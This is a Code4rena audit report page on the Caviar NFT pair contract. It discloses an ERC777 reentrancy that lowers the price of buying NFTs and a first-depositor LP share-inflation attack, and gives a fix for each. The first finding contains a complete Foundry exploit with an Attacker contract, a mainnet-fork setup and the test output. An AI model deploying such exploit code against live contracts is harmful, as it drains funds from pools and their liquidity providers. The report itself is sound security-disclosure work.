Platform: Code4rena
Start Date: 12/12/2022
Pot Size: $36,500 USDC
Total HM: 8
Participants: 103
Period: 7 days
Judge: berndartmueller
Id: 193
League: ETH
Rank: 14/103
Findings: 2
Award: $757.97
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: carlitox477
Also found by: 9svR6w, KingNFT, Lambda, cccz, cozzetti, gzeon, koxuan, minhquanym, rvierdiiev
750.9785 USDC - $750.98
The pair contract is susceptible to reentrancy attack while the base token is an ERC777 token such as imBTC. An attacker can exploit it to save significant cost for buying NFT or fractionalToken
.
The following test case is based on fork of Ethereum mainnet at height 16205002. The pair consists of BAYC and imBTC, and the initial supply of the pool is 10 imBTC and 10 BAYC NFTs. And the attacker want to buy 5 NFTs. We can see, by reentrancy attack, the attacker can save about 25% cost than normal buy.
Full test script
// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "forge-std/Test.sol"; import "forge-std/console.sol"; import "openzeppelin/token/ERC777/ERC777.sol"; import "openzeppelin/token/ERC777/IERC777Sender.sol"; import "solmate/tokens/ERC20.sol"; import "solmate/tokens/ERC721.sol"; import "../src/Caviar.sol"; import "../src/Pair.sol"; import "./shared/mocks/MockERC721.sol"; contract Attacker is IERC777Sender, ERC721TokenReceiver { uint public toId; uint public currentId; Pair public pair; function buy(Pair _pair, uint _fromId, uint _toId) external { pair = _pair; currentId = _fromId; toId = _toId; ERC20(_pair.baseToken()).approve(address(_pair), type(uint).max); uint256[] memory tokenIds = new uint256[](1); tokenIds[0] = currentId; pair.nftBuy(tokenIds, type(uint256).max); } function tokensToSend( address, address, address, uint256, bytes calldata, bytes calldata ) external { if (currentId >= toId) return; ++currentId; uint256[] memory tokenIds = new uint256[](1); tokenIds[0] = currentId; pair.nftBuy(tokenIds, type(uint256).max); } } contract ReentrancyToManipulatePrice is Test { uint256 public activeFork; ERC777 public imBTC = ERC777(0x3212b29E33587A00FB1C83346f5dBFA69A458923); address public rich = 0x3b938E9525e14361091ee464D8AceC291b3caE50; IERC1820Registry public constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bytes32 public constant _TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender"); Attacker public attacker; address public user = address(0x5678); Pair public pair; Caviar public caviar; MockERC721 public bayc; function setUp() public virtual { activeFork = vm.createSelectFork("https://rpc.ankr.com/eth", 16205002); caviar = new Caviar(); bayc = new MockERC721("yeet", "YEET"); pair = caviar.create(address(bayc), address(imBTC), bytes32(0)); assertTrue(address(pair) != address(0), "Should have deployed pair"); attacker = new Attacker(); vm.startPrank(rich); imBTC.transfer(address(attacker), 100e8); imBTC.transfer(user, 100e8); vm.stopPrank(); assertEq(imBTC.balanceOf(address(attacker)), 100e8); assertEq(imBTC.balanceOf(user), 100e8); uint256[] memory tokenIds = new uint256[](10); for (uint i = 1; i <= 10; ++i) { bayc.mint(user, i); tokenIds[i-1] = i; } bytes32[][] memory proofs = new bytes32[][](0); vm.startPrank(user); imBTC.approve(address(pair), type(uint256).max); bayc.setApprovalForAll(address(pair), true); pair.nftAdd(10e8, tokenIds, 0, proofs); vm.stopPrank(); assertEq(imBTC.balanceOf(address(pair)), 10e8); assertEq(ERC20(pair).balanceOf(address(pair)), 10e18); for (uint i = 11; i <= 20; ++i) { bayc.mint(address(attacker), i); } vm.label(address(imBTC), "imBTC"); vm.label(address(caviar), "caviar"); vm.label(address(bayc), "bayc"); vm.label(address(pair), "pair"); vm.label(address(attacker), "attacker"); } function testSingleNormalBuyForFiveNFTs() external { uint256 balanceBefore = imBTC.balanceOf(address(attacker)); uint256[] memory tokenIds = new uint256[](5); for (uint i = 1; i <= 5; ++i) { tokenIds[i-1] = i; } vm.startPrank(address(attacker)); imBTC.approve(address(pair), type(uint256).max); pair.nftBuy(tokenIds, type(uint256).max); vm.stopPrank(); uint256 balanceAfter = imBTC.balanceOf(address(attacker)); uint256 cost = balanceBefore - balanceAfter; assertTrue(cost > 10e8); console.log("imBTC cost", cost); } function testFiveNormalBuysForOneNFTEachTime() external { uint256 balanceBefore = imBTC.balanceOf(address(attacker)); vm.prank(address(attacker)); imBTC.approve(address(pair), type(uint256).max); for (uint i = 1; i <= 5; ++i) { uint256[] memory tokenIds = new uint256[](1); tokenIds[0] = i; vm.prank(address(attacker)); pair.nftBuy(tokenIds, type(uint256).max); } uint256 balanceAfter = imBTC.balanceOf(address(attacker)); uint256 cost = balanceBefore - balanceAfter; assertTrue(cost > 10e8); console.log("imBTC cost", cost); } function testFiveReentrancyBuysForOneNFTEachTime() external { vm.prank(address(attacker)); _ERC1820_REGISTRY.setInterfaceImplementer(address(attacker), _TOKENS_SENDER_INTERFACE_HASH, address(attacker)); uint256 balanceBefore = imBTC.balanceOf(address(attacker)); uint256 baycBefore = bayc.balanceOf(address(attacker)); attacker.buy(pair, 1, 5); uint256 baycAfter = bayc.balanceOf(address(attacker)); assertEq(baycAfter - baycBefore, 5); uint256 balanceAfter = imBTC.balanceOf(address(attacker)); uint256 cost = balanceBefore - balanceAfter; assertTrue(cost < 7.5e8); console.log("imBTC cost ", cost); } }
Put it into a new ReentrancyToManipulatePrice.t.sol
file of test directory and run
forge test -vv
Related output
Running 3 tests for test/ReentrancyToManipulatePrice.t.sol:ReentrancyToManipulatePrice [PASS] testFiveNormalBuysForOneNFTEachTime() (gas: 320729) Logs: imBTC cost 1003888458 [PASS] testFiveReentrancyBuysForOneNFTEachTime() (gas: 413580) Logs: imBTC cost 747878554 [PASS] testSingleNormalBuyForFiveNFTs() (gas: 192037) Logs: imBTC cost 1003009027 Test result: ok. 3 passed; 0 failed; finished in 674.53ms
foundry
Add reentrancy protection for buy()
function.
#0 - c4-judge
2022-12-29T11:34:15Z
berndartmueller marked the issue as duplicate of #343
#1 - c4-judge
2023-01-13T11:51:06Z
berndartmueller changed the severity to 3 (High Risk)
#2 - c4-judge
2023-01-13T11:51:44Z
berndartmueller marked the issue as satisfactory
🌟 Selected for report: minhquanym
Also found by: 0x52, 0xDecorativePineapple, Apocalypto, BAHOZ, ElKu, Franfran, HE1M, Jeiwan, KingNFT, Koolex, SamGMK, Tointer, Tricko, UNCHAIN, __141345__, ak1, aviggiano, bytehat, carrotsmuggler, cccz, chaduke, cozzetti, dipp, eyexploit, fs0c, haku, hansfriese, hihen, immeas, izhelyazkov, koxuan, ladboy233, lumoswiz, rajatbeladiya, rjs, rvierdiiev, seyni, supernova, unforgiven, yixxas
6.9881 USDC - $6.99
This is a common problem with vault-like contracts. Where an early user can manipulate the price per share and profit from late users' provide because of the precision loss. And the first providers is also able to block anybody with fewer funds than them from providing liquidity to the pool.
<1> Attack verctor 1: steal funds from later depositors
A malicious first user add 1 wei of baseToken
and 1 wei of fractionalToken
, and get 1 wei of LP token.
Then the attacker can send 1e18 of baseToken
and 1e18 of fractionalToken
to inflate the price per LP Token from 1 to 1e18 + 1 .
As a result, the future user who provides 2e18 baseToken
and 2e18 fractionalToken
will only receive 1 wei (from 2e18 * 1 / (1e18 + 1) of LP token.
They will lose 1e18 or half of their provide if they remove liquidity.
<2> Attack verctor 2: block users with low funds from providing liquidity
A malicious first user add 1 wei of baseToken
and 1 wei of fractionalToken
, and get 1 wei of LP token.
Then the attacker can send 10000e18 of baseToken
to inflate the baseToken
price per LP Token from 1 to an extreme value of 10000e18 + 1 .
As a result, the future user who have less than 10000e18 of baseToken
can not provide liquidity.
Manually review
Uniswap had the same issue with their V2 contracts. They solved it by sending the first 1000 shares to the zero address: https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L121
#0 - c4-judge
2022-12-28T12:53:04Z
berndartmueller marked the issue as duplicate of #442
#1 - c4-judge
2023-01-10T09:16:07Z
berndartmueller changed the severity to 3 (High Risk)
#2 - c4-judge
2023-01-10T09:16:11Z
berndartmueller marked the issue as satisfactory